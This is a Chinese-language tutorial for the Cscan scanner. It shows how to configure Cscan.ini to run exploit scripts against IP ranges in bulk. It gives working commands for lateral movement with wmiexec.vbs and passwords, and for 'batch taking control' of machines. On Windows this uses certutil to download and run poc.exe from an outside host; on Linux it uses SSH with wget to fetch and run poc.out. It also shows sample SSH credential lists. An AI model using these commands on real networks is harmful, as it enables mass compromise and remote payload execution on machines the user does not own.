0x000 调用原理
Cscan调用外部程序有两种方式,一是编写DLL,二是配置文件
编写DLL文件对于不懂编程的人来说可能会很难(虽然支持各语言)
由于考虑到很多人不会编程或会编程又急用无法短时间转成DLL
所以特意提供ini做为调用外部程序接口,毕竟每出个EXP就写个批量工具不现实
EXP代码未必是你擅长并喜欢的代码,甚至不提供源码,没关系Cscan照样调用
配置Cscan.ini应该算是目前最容易实现Cscan自定义"插件"功能了
配置文件使用非常简单,只需配置两个参数,一是程序,二是参数
批量文件: ip.txt ip24.txt ip16.txt ip8.txt 还有 url.txt
0x001 参数说明
主程序
主程序可直接运行,直接运行会加载IP或URL文件,不存在则默认扫描当前机器所处的多个C段。
cscan (直接运行)
cscan 192.168.1.108 (单个IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8 (A段)
Cscan.ini文件
exe即程序名(系统程序可省路径,非系统程序需完整路径)
arg即参数,比方说执行net user命令,程序是net.exe参数是user
在win系统里本质上执行的是c:/windows/system32/net.exe user
VBS脚本:执行"cscript exp.vbs",本质上执行的是c:/windows/system32/cscript.exe exp.vbs
PY脚本: 执行"python exp.py",本质上执行的是PY安装路径/python.exe exp.py
以上不需要全路径的原因是设置了环境变量,系统自动识别了
那么Cscan要调用外部程序,就得先设置Cscan的“环境变量”
好比你点外卖,你不填写地址,让骑手去哪给你送货?
给程序一个眼神它是不会自己去体会的,连人都做不到。
下面以调用内网横向渗透脚本Wmiexec.vbs为例(脚本和cscan主程序放在同一目录)
wmiexec.vbs内网远程CMD例子: cscript wmiexec.vbs /cmd IP 用户名 密码 whoami
IP或URL文件
ip数字.txt对应着所扫列表,意味着不仅仅是批量IP列表,同时可扫描多个C段跨网段或B段等
ip.txt文件可填写任意内容不仅限于IP,url.txt仅限URL地址,批量扫描网站列表时使用。
0x002 配置Cscan.ini
新建Cscan.ini文件,内容如下
[Cscan]
exe=cscript.exe
arg=wmiexec.vbs /cmd $ip$ user pass "echo FuckOK"
ps:调用其它VBS脚本同理(有些机器默认无Whoami命令,所以执行echo返回特定内容最佳)
0x003 设置扫描范围
新建C段文件ip24.txt,内容如下(扫描以下两个C段机器)
192.168.1.8
10.1.10.5
0x004 批量验证或执行命令
运行Cscan > pwd.txt (Cscan主程序要选用系统对应.net版本)
如图(由于批量执行的是whoami,所以成功的将会返回whoami的结果)
0x005 Windows批量上控
有人肯定要说,我不想给所有机器上控怎么办?
特定机器列表使用ip.txt,B段ip16.txt、A段ip8.txt
新建ip.txt,同时删除ip24.txt或改名(调用优先级问题)
ip.txt内容如下(仅扫描以下4个IP)
192.168.1.8
192.168.1.100
10.1.11.5
172.3.4.6
Cscan.ini内容
[Cscan]
exe=cscript.exe
arg=wmiexec.vbs /cmd $ip$ user pass "certutil.exe -urlcache -split -f http://k8gege.github.io/poc.exe&&poc.exe"
Certutil仅是其中一种下载方法,几年前就有人整理至少17种方法,就不列举了
(其它下载者命令百度、Google,关键字比也以前多什么下载执行Payload等)
现在也有很多人把人家一篇精华文章换个名词写成十几篇教程给萌新看
好像很吊的样子,但是在大量教程文章的情况下依旧有人不懂举一反三
按理说我写Cscan批量调用其它EXP例子时,就有人懂得如何批量上控
但事实并非如此,甚至有些人已接触一段时间,搞得像萌新一样还不懂
由于在统计里发现有人搜索"Cscan如何使用",加上怕有人问浪费时间
为了照顾萌新以及一些不同举一反三的“老人”,特意写此文章教程
0x006 Linux批量上控
通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控
ip.txt内容 格式: IP 端口 用户 帐密
192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test
PS:ip.txt不仅限于IP,可灵活配置,这点我不写教程真的没几个人知道,因为早期版本我加了正则非IP是无法传参的
Windows批量同理,这样就可以批量验证不懂端口不同帐密了,详见:https://www.cnblogs.com/k8gege/p/10995625.html
Cscan.ini内容
[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 执行多条命令
执行多条CMD命令,前提是调用cmd.exe,远控shell默认指向cmd.exe,
所以当执行任意CMD命令都支持管道符号重定向符号等特殊符号。
例子:通过CMD调用PING命令以及Find命令检测存活主机
对应Cscan.in
[Cscan]
exe=cmd.exe
arg=/c ping -n 1 $ip | find "ms"
exe参数写成ping.exe的话,后面的|符号将失效,因为你是基于ping.exe上执行管道命令,ping命令不支持所以当然会报错。
并非是Cscan不支持管道符号,exe写成cmd.exe就和你在系统打开cmd执行命令一模一样,系统执行正常Cscan就正常。
有些人可能会问默认写成cmd不就只需要配置一个参数,更简便?
可以设想一下,假设写死cmd,每次执行一次ping命令或多条命令,就得打开一个CMD进程
很多人可能会说人家远控终Shell都这么写,但是你有想过远控cmd和直接系统上执行CMD差不多
你手工执行几个ping命令,先调用cmd再打开ping没问题,但是批量呢,调用一次ping命令,
还要先经过一次cmd.exe,你觉得这样效率会高吗,可能有人会说不就0.几秒不到。
实际上你有没想过,系统打开几十个CMD进程和几十个PING进程还有几十个FIND进程
多几个进程内存占用是多少?占用卡了就会阻塞,崩或者无法继续,可能超时很久才到下一个命令。
最简单的例子,使用BAT文件用FOR命令来执行几百个操作,你可能遇到过cmd卡死
CPU直接100%的情况,导致被调用的EXP无法正常工作,因为Bat不支持多线程。
同时执行几个几乎不影响,不等于执行一堆不受影响,虽然Cscan.ini也是多线程调用,
但毕竟是调用进程,调用进程受到很多因素影响,最直接的就是系统内存,被调用程序
未对程序进行优化处理或其它原因,可能会导致批量调用后出现类似CPU卡死的情况。
调用进程的多线程方式是最LOW的,可能会导致各种各样的问题,所以建义写成DLL。
0x008 保存结果
1.可以在调用命令里重定向输出,注意目录需要有写权限,别写入system32目录哦
arg=/c ping -n 1 $ip$ | find "ms" >> C:\Users\k8gege\Desktop\Cscan\1.txt
2.可以直接Cscan > scan.txt 保存结果,当然这样扫的时候cmd里看不到结果
实战的时候推荐第2条,因为你要是扫大量IP时,菜刀或者远控shell超时不一定有结果
重定向输出等其扫完,下载回本地看即可。
0x009 下载
https://github.com/k8gege/K8CScan